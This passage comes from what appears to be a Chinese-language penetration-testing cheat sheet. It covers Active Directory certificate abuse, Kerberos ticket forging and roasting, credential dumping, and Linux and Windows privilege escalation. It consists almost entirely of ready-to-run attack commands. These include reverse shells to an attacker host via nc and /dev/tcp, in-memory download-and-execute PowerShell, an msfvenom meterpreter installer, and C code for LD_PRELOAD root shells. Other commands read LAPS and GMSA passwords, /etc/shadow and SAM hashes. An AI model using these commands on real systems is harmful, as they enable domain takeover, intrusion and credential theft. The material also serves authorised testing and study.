certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC6：EDITF_ATTRIBUTESUBJECTALTNAME2

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -vulnerable -dc-ip <RHOST> -stdout
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
certipy req -ca '<CA>' -username administrator@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC7：脆弱的证书颁发机构访问控制

certipy ca -ca '<CA>' -add-officer <USERNAME> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy ca -ca '<CA>' -enable-template SubCA -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template SubCA -upn administrator@<DOMAIN>
certipy ca -ca '<CA>' -issue-request <ID> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -retrieve <ID>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC8：NTLM 中继到 AD CS HTTP 端点

certipy relay -target 'http://<CA>'
certipy relay -ca '<CA>' -template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST>
export KRB5CCNAME=dc.ccache
sudo secretsdump.py -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>

胁迫Coercing

sudo ntlmrelayx.py -t http://<RHOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>'/'dc$' 'dc.ccache'
export KRB5CCNAME=dc.ccache
sudo secretsdump.py -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>

ESC9：无安全扩展

certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
certipy req -ca '<CA>' -username <USERNAME> -hashes 54296a48cd30259cc88095373cec24da -template <TEMPLATE>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn <USERNAME>@<DOMAIN>
certipy auth -pfx administrator.pfx -domain <DOMAIN>

ESC10：弱证书映射

情况1

certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -hashes a87f3a337d73085c45f9416be5787d86
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
certipy auth -pfx administrator.pfx -domain <DOMAIN>

案例2

certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn 'DC$@<DOMAIN>'
certipy req -ca 'CA' -username <USERNAME>@<DOMAIN> -password -hashes a87f3a337d73085c45f9416be5787d86
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST> -ldap-shell

ESC11：
IF_ENFORCEENCRYPTICERTREQUEST

certipy relay -target 'rpc://<CA>' -ca 'CA'
certipy auth -pfx administrator.pfx -domain <DOMAIN>

ADCS模板

Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subordinate Certification Authority') -AutoEnroll -Publish -Identity '<DOMAIN>\Domain Users'

bloodhound

pip install bloodhound
sudo apt-get install neo4j
sudo apt-get install bloodhound

安装并启动数据库

wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
sudo echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl start neo4j

sudo neo4j start console
sudo bloodhound --no-sandbox

http://localhost:7474/browser/

Docker容器

docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-community

数据库密码重置

http://localhost:7474/浏览器/

ALTER USER neo4j SET PASSWORD '<PASSWORD>'

BloodHound Python

bloodhound-python -d <DOMAIN> -u <USERNAME> -p "<PASSWORD>" -gc <DOMAIN> -c all -ns <RHOST>
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -ns <RHOST> -c All
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -dc <RHOST> -ns <RHOST> --dns-tcp -no-pass -c ALL --zip

bloodyAD

bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object Users --attr member                                        // Get group members
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr minPwdLength                 // Get minimum password length policy
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr msDS-Behavior-Version        // Get AD functional level
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type user                       // Get all users of the domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type computer                   // Get all computers of the domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type container                  // Get all containers of the domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add uac <USERNAME> DONT_REQ_PREAUTH                                   // Enable DONT_REQ_PREAUTH for ASREPRoast
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove uac <USERNAME> ACCOUNTDISABLE                                  // Disable ACCOUNTDISABLE
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object <USERNAME> --attr userAccountControl                       // Get UserAccountControl flags
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT>$' --attr msDS-ManagedPassword                    // Read GMSA account password
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT>$' --attr ms-Mcs-AdmPwd                           // Read LAPS password
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr ms-DS-MachineAccountQuota    // Read quota for adding computer objects to domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add dnsRecord <RECORD> <LHOST>                                        // Add a new DNS entry
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove dnsRecord <RECORD> <LHOST>                                     // Remove a DNS entry
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get dnsDump                                                           // Get AD DNS records

Certify

https://github.com/GhostPack/Certify

.\Certify find /vulnerable
.\Certify.exe find /vulnerable /currentuser

Certipy

https://github.com/ly4k/Certipy

https://github.com/ly4k/BloodHound/

certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>
certipy find -dc-ip <RHOST> -u <USERNAME> -p <PASSWORD> -vulnerable -stdout

创建账户

certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -dns <DOMAIN_CONTROLLER_DNS_NAME> -user <COMPUTERNAME>

验证

certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN>

LDAP-Shell

certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell

# add_user <USERNAME>
# add_user_to_group <GROUP>

证书伪造

certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST> -save-old

证书申请

由于certipy当前存在问题，请运行以下命令两次。

certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST>

certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN>
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> -debug

恢复更改

certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE> -dc-ip <RHOST> -configuration <TEMPLATE>.json

启动 BloodHound 叉子

./BloodHound --disable-gpu-sandbox

enum4linux-ng

enum4linux-ng -A <RHOST>

Evil-WinRM

evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -S

Impacket

impacket-atexec -k -no-pass <DOMAIN>/Administrator@<DOMAIN_CONTROLLER>.<DOMAIN> 'type C:\PATH\TO\FILE\<FILE>'
impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/
impacket-getST <DOMAIN>/<USERNAME>$ -spn WWW/<DOMAIN_CONTROLLER>.<DOMAIN> -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt
impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <ACTION> <ACTION>
impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <ACTION>
impacket-smbpasswd <RHOST>/<USERNAME>:'<PASSWORD>'@<RHOST> -newpass '<PASSWORD>'
impacket-smbserver local . -smb2support

impacket-smbclient

export KRB5CCNAME=<USERNAME>.ccache
impacket-smbclient <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-smbclient -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass

impacket-getTGT

impacket-getTGT <RHOST>/<USERNAME>:<PASSWORD>
impacket-getTGT <RHOST>/<USERNAME> -dc-ip <RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2c

impacket-GetNPUsers

impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
impacket-GetNPUsers <RHOST>/<USERNAME> -request -no-pass -dc-ip <RHOST>
impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format john -outputfile hashes

impacket-getUserSPNs

export KRB5CCNAME=<USERNAME>.ccache
impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pass -request

impacket-secretsdump

export KRB5CCNAME=<USERNAME>.ccache
impacket-secretsdump <RHOST>/<USERNAME>@<RHOST>
impacket-secretsdump -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass -debug
impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
impacket-secretsdump -dc-ip <RHOST> <RHOST>.LOCAL/svc_bes:<PASSWORD>@<RHOST>
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

impacket-psexec

impacket-psexec <USERNAME>@<RHOST>
impacket-psexec <RHOST>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18

impacket-ticketer

要求

• 有效用户
• NTHASH
• 域SID

export KRB5CCNAME=<USERNAME>.ccache
impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <RHOST> -spn MSSQLSVC/<RHOST>.<RHOST> -user-id 500 Administrator

修复 [-] 异常必须从 BaseException 派生

问题

impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <DOMAIN_CONTROLLER>.<RHOST> -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] exceptions must derive from BaseException

如何修复它

241         if self.__doKerberos:
242             #target = self.getMachineName()
243             target = self.__kdcHost

dacledit.py

https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py

$ python3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' -dc-ip <RHOST> -action read -principal '<USERNAME>' -target '<GROUP>' -debug

修复 msada_guids 错误

#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS

然后将其msada_guids.py放入同一目录 dacledit.py

https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py

owneredit.py

https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py

$ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debug

JAWS

IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')

Kerberos

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

一般注意事项

• 金票是票证授予票证（TGT），完全离线伪造（需要 KRBTGT 帐户哈希）。
• Silver Ticket 是伪造的服务身份验证票证（需要服务主体名称 (SPN) 和机器帐户密钥（RC4 或 AES 中的哈希值））。银票不接触域控制器 (DC)。
• 钻石票本质上是黄金票，但由域控制器 (DC) 请求。

暴力破解

./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>

与用户列表

.\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>

检查域中所有用户的密码

.\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>

ASPREPRoast

检查所有域用户的 ASPREPRoast（需要凭据）

impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE>

检查 ASPREPRoast 中的用户列表（无需凭据）

impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>

检查域中所有域用户的 ASPREPRoast

.\Rubeus.exe asreproast  /format:hashcat /outfile:<FILE>

Kerberoasting

impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
.\Rubeus.exe kerberoast /outfile:<FILE>
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE>

跳过哈希/传递密钥 (PTK)

请求带有哈希值的 TGT

impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>

使用 aesKey 请求 TGT（更安全的加密，可能更隐蔽，因为默认使用它）

impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>

使用密码请求 TGT

impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>

设置 Impacket 使用的 TGT

export KRB5CCNAME=<USERNAME>.ccache

执行远程命令

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

询问并注入票据

.\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt

在远程主机上执行 CMD

.\PsExec.exe -accepteula \\<RHOST> cmd

通票 (PTT)

Linux 上的收获票

检查门票的类型和位置

grep default_ccache_name /etc/krb5.conf

• 如果没有返回，则默认为 FILE:/tmp/krb5cc_%{uid}
• 如果是文件票证，可以复制粘贴它们来使用它们
• 如果是KEYRING门票，可以使用工具门票获取
• 要转储用户票证，如果是 root，建议通过注入其他用户进程来转储它们
• 要注入，必须将票证复制到所有用户可访问的文件夹中

cp tickey /tmp/tickey
/tmp/tickey -i

来自 Windows 的收获门票

sekurlsa::tickets /export
.\Rubeus dump

将 Rubeus 转储的 Ticket 转换为 base64

[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))

使用 Ticket_converter.py 在 Linux 和 Windows 格式之间转换票证

https://github.com/Zer1t0/ticket_converter

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

在 Linux 上使用票证

export KRB5CCNAME=<USERNAME>.ccache

使用 TGT 执行远程命令

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

在 Windows 上使用票证

使用 mimikatz 注入 Ticket

kerberos::ptt <KIRBI_FILE>

用 Rubeus 注入票据

.\Rubeus.exe ptt /ticket:<KIRBI_FILE>

在远程主机上执行 CMD

.\PsExec.exe -accepteula \\<RHOST> cmd

银票

导入示例

使用 NTLM 生成 TGS

python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>

使用 aesKey 生成 TGS

python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>

设置门票以供打包使用

export KRB5CCNAME=<USERNAME>.ccache

使用 TGT 执行远程命令

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

示例

使用 NTLM 生成 TGS

kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>

使用 AES 128 位密钥生成 TGS

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>

使用 AES 256 位密钥生成 TGS（更安全的加密，可能更隐蔽，因为默认使用它）

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>

使用 Mimikatz 注入 TGS

kerberos::ptt <KIRBI_FILE>

Rubeus的例子

.\Rubeus.exe ptt /ticket:<KIRBI_FILE>

在远程主机上执行CMD

.\PsExec.exe -accepteula \\<RHOST> cmd

黄金门票

导入示例

使用 NTLM 生成 TGT

python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>

使用 aesKey 生成 TGT

python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>

设置 Impacket 使用的 TGT

export KRB5CCNAME=<USERNAME>.ccache

使用 TGT 执行远程命令

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

示例

使用 NTLM 生成 TGT

kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>

使用 AES 128 位密钥生成 TGT

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>

使用 AES 256 位密钥生成 TGT（更安全的加密，可能更隐蔽，因为默认使用它）

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>

使用 Mimikatz 注入 TGT

kerberos::ptt <KIRBI_FILE>

Rubeus例子

用 Rubeus 注入票据

.\Rubeus.exe ptt /ticket:<KIRBI_FILE>

在远程主机上执行CMD

.\PsExec.exe -accepteula \\<RHOST> cmd

从密码获取 NTLM

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())'

LDAP搜索

ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" | grep descr -A 3 -B 3
ldapsearch -x -h <RHOST> -s base namingcontexts
ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {print $2}'
ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<DOMAIN>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<RHOST>,DC=local" | grep info

Linux

基本 Linux 枚举

id
sudo -l
uname -a
env
cat /etc/hosts
cat /etc/fstab
cat /etc/passwd
ss -tulpn
ps -auxf
ls -lahv
ls -R /home
ls -la /opt

查找命令

find / -user <USERNAME> -ls 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
find / -group <GROUP> 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls -la
find / -type f -user root -perm -4000 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -cmin -60    // find files changed within the last 60 minutes
find / -amin -60    // find files accesses within the last 60 minutes
find ./ -type f -exec grep --color=always -i -I 'password' {} \;    // search for passwords

grep 获取密码

grep -R db_passwd
grep -roiE "password.{20}"
grep -oiE "password.{20}" /etc/*.conf
grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$"    // grep for passwords like "DBPassword:"

apache2

使用 apache2 二进制读取文件的第一行

sudo /usr/sbin/apache2 -f <FILE>

APT

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE>

arua2c

aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-overwrite=true

Bash 调试模式

• bash<4.4

env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>

bash 函数

• 重击 <4.2-048

function /usr/sbin/<BINARY> { /bin/bash -p; }
export -f /usr/sbin/<BINARY>
/usr/sbin/<BINARY>

LD_预加载

Linux Privilege Escalation using LD_Preload

shell.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

或者

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

编译

gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles 

权限提升

sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>

LD_LIBRARY_PATH

获取有关Libraries的信息

ldd /PATH/TO/BINARY/<BINARY>

shell.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

编译

gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c

权限提升

sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>

logrotten

https://github.com/whotwagner/logrotten

if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi

如果在 logrotate.cfg 中设置了“create”选项

./logrotten -p ./payloadfile /tmp/log/pwnme.log

如果在 logrotate.cfg 中设置了“compress”选项

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

路径变量劫持

find / -perm -u=s -type f 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
export PATH=$(pwd):$PATH

PHP7.2

/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"

relayd

二进制文件需要设置该位SUID。

/usr/sbin/relayd -C /etc/shadow

共享库配置错误

https://tbhaxor.com/exploiting-shared-library-misconfigurations/

shell.c

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}

编译

gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.c

通配符

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

使用该命令touch -- --checkpoint=1将创建一个文件。为什么？因为--命令后面 touch是告诉touch，有等待的选项。它不创建一个选项，而是创建一个名为 --checkpoint=1.

touch -- --checkpoint=1

或者

touch ./--checkpoint=1

因此，在创建--checkpoint=1文件后，我创建了另一个文件，该文件执行 shell 脚本。

touch -- '--checkpoint-action=exec=sh shell.sh'

或者

touch ./--checkpoint-action=exec=<FILE>

要删除配置错误的文件，请./在其前面添加 。

rm ./'--checkpoint-action=exec=python script.sh'

Linux 中的可写目录

/dev/shm
/tmp

微软Windows

基本 Windows 枚举

systeminfo
whoami /all
net users
net users <USERNAME>
tasklist /SVC
sc query
sc qc <SERVICE>
netsh firewall show state
schtasks /query /fo LIST /v
findstr /si password *.xml *.ini *.txt
dir /s *pass* == *cred* == *vnc* == *.config*
accesschk.exe -uws "Everyone" "C:\Program Files\"
wmic qfe get Caption,Description,HotFixID,InstalledOn
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

AppLocker 绕过列表

Bypass List (Windows 10 Build 1803):
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

访问检查

检查文件权限

.\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"

检查服务权限

.\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc

检查路径权限以查找未加引号的服务路径

.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>"

检查注册表项

.\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>

将用户添加到组

net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>
net localgroup "Remote Management Users" /add <USERNAME>

启用远程桌面 (RDP)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes

或者

Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0;
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1;
Enable-NetFirewallRule -DisplayGroup "Remote Desktop";

特权和权限

始终安装提升

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> -f msi > <FILE>.msi

msiexec /quiet /qn /i <FILE>.msi

SeBackup 和 SeRestore 权限

备份 SAM 和 SYSTEM 哈希值

reg save hklm\system C:\Users\<USERNAME>\system.hive
reg save hklm\sam C:\Users\<USERNAME>\sam.hive

转储哈希值

impacket-secretsdump -sam sam.hive -system system.hive LOCAL

